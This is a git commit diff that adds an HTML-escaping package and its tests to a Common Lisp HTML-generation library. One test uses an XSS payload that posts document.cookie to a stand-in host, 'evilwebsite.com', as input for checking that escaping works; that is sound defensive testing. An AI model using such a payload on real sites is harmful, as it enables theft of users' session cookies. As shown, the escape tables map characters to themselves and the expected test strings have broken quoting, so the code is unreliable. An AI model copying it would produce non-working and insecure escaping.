Add escaper package
This commit is contained in:
parent
f9bf53042f
commit
19c5e5a2c1
5 changed files with 71 additions and 5 deletions
|
@ -5,5 +5,6 @@
|
|||
"hsx-test/element"
|
||||
"hsx-test/defhsx"
|
||||
"hsx-test/hsx"
|
||||
"hsx-test/renderer")
|
||||
"hsx-test/renderer"
|
||||
"hsx-test/escaper")
|
||||
:perform (test-op (op c) (symbol-call :fiveam :run-all-tests)))
|
||||
|
|
|
@ -1,5 +1,8 @@
|
|||
(defpackage #:hsx/element
|
||||
(:use #:cl)
|
||||
(:import-from #:hsx/escaper
|
||||
#:escape-html-attribute
|
||||
#:escape-html-text-content)
|
||||
(:export #:element
|
||||
#:tag
|
||||
#:html-tag
|
||||
|
@ -74,7 +77,11 @@
|
|||
"~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>")
|
||||
type-str
|
||||
(props->string props)
|
||||
children
|
||||
(mapcar (lambda (child)
|
||||
(if (stringp child)
|
||||
(escape-html-text-content child)
|
||||
child))
|
||||
children)
|
||||
type-str)
|
||||
(format stream
|
||||
"<~a~a></~a>"
|
||||
|
@ -94,7 +101,7 @@
|
|||
(format stream
|
||||
" ~a=\"~a\""
|
||||
key-str
|
||||
value))))))
|
||||
(escape-html-attribute value)))))))
|
||||
|
||||
(defmethod print-object ((element html-tag) stream)
|
||||
(format stream "<!DOCTYPE html>~%")
|
||||
|
|
40
src/escaper.lisp
Normal file
40
src/escaper.lisp
Normal file
|
@ -0,0 +1,40 @@
|
|||
(defpackage #:hsx/escaper
|
||||
(:use #:cl)
|
||||
(:import-from #:alexandria
|
||||
#:alist-hash-table)
|
||||
(:export #:escape-html-attribute
|
||||
#:escape-html-text-content))
|
||||
(in-package #:hsx/escaper)
|
||||
|
||||
(defparameter *text-content-escape-map*
|
||||
(alist-hash-table
|
||||
'((#\& . "&")
|
||||
(#\< . "<")
|
||||
(#\> . ">")
|
||||
(#\" . """)
|
||||
(#\' . "'")
|
||||
(#\/ . "/")
|
||||
(#\` . "`")
|
||||
(#\= . "="))))
|
||||
|
||||
(defparameter *attribute-escape-map*
|
||||
(alist-hash-table
|
||||
'((#\" . """))))
|
||||
|
||||
(defun escape-char (char escape-map)
|
||||
(or (gethash char escape-map)
|
||||
char))
|
||||
|
||||
(defun escape-string (string escape-map)
|
||||
(if (stringp string)
|
||||
(with-output-to-string (s)
|
||||
(loop
|
||||
:for c :across string
|
||||
:do (write (escape-char c escape-map) :stream s :escape nil)))
|
||||
string))
|
||||
|
||||
(defun escape-html-text-content (text)
|
||||
(escape-string text *text-content-escape-map*))
|
||||
|
||||
(defun escape-html-attribute (text)
|
||||
(escape-string text *attribute-escape-map*))
|
20
tests/escaper.lisp
Normal file
20
tests/escaper.lisp
Normal file
|
@ -0,0 +1,20 @@
|
|||
(defpackage #:hsx-test/escaper
|
||||
(:use #:cl
|
||||
#:fiveam
|
||||
#:hsx/escaper))
|
||||
(in-package #:hsx-test/escaper)
|
||||
|
||||
(def-suite escaper-test)
|
||||
(in-suite escaper-test)
|
||||
|
||||
(test escape-html-attribute
|
||||
(is (equal ""foo""
|
||||
(escape-html-attribute "\"foo\""))))
|
||||
|
||||
(test escape-html-text-content
|
||||
(is (string= "&<>"'/`="
|
||||
(escape-html-text-content "&<>\"'/`=")))
|
||||
(is (string=
|
||||
"<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"
|
||||
(escape-html-text-content
|
||||
"<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" ))))
|
|
@ -65,5 +65,3 @@
|
|||
(li "foo")
|
||||
frg
|
||||
(li "brah")))))))
|
||||
|
||||
;; TODO: Add escaping test
|
||||
|
|
Loading…
Reference in a new issue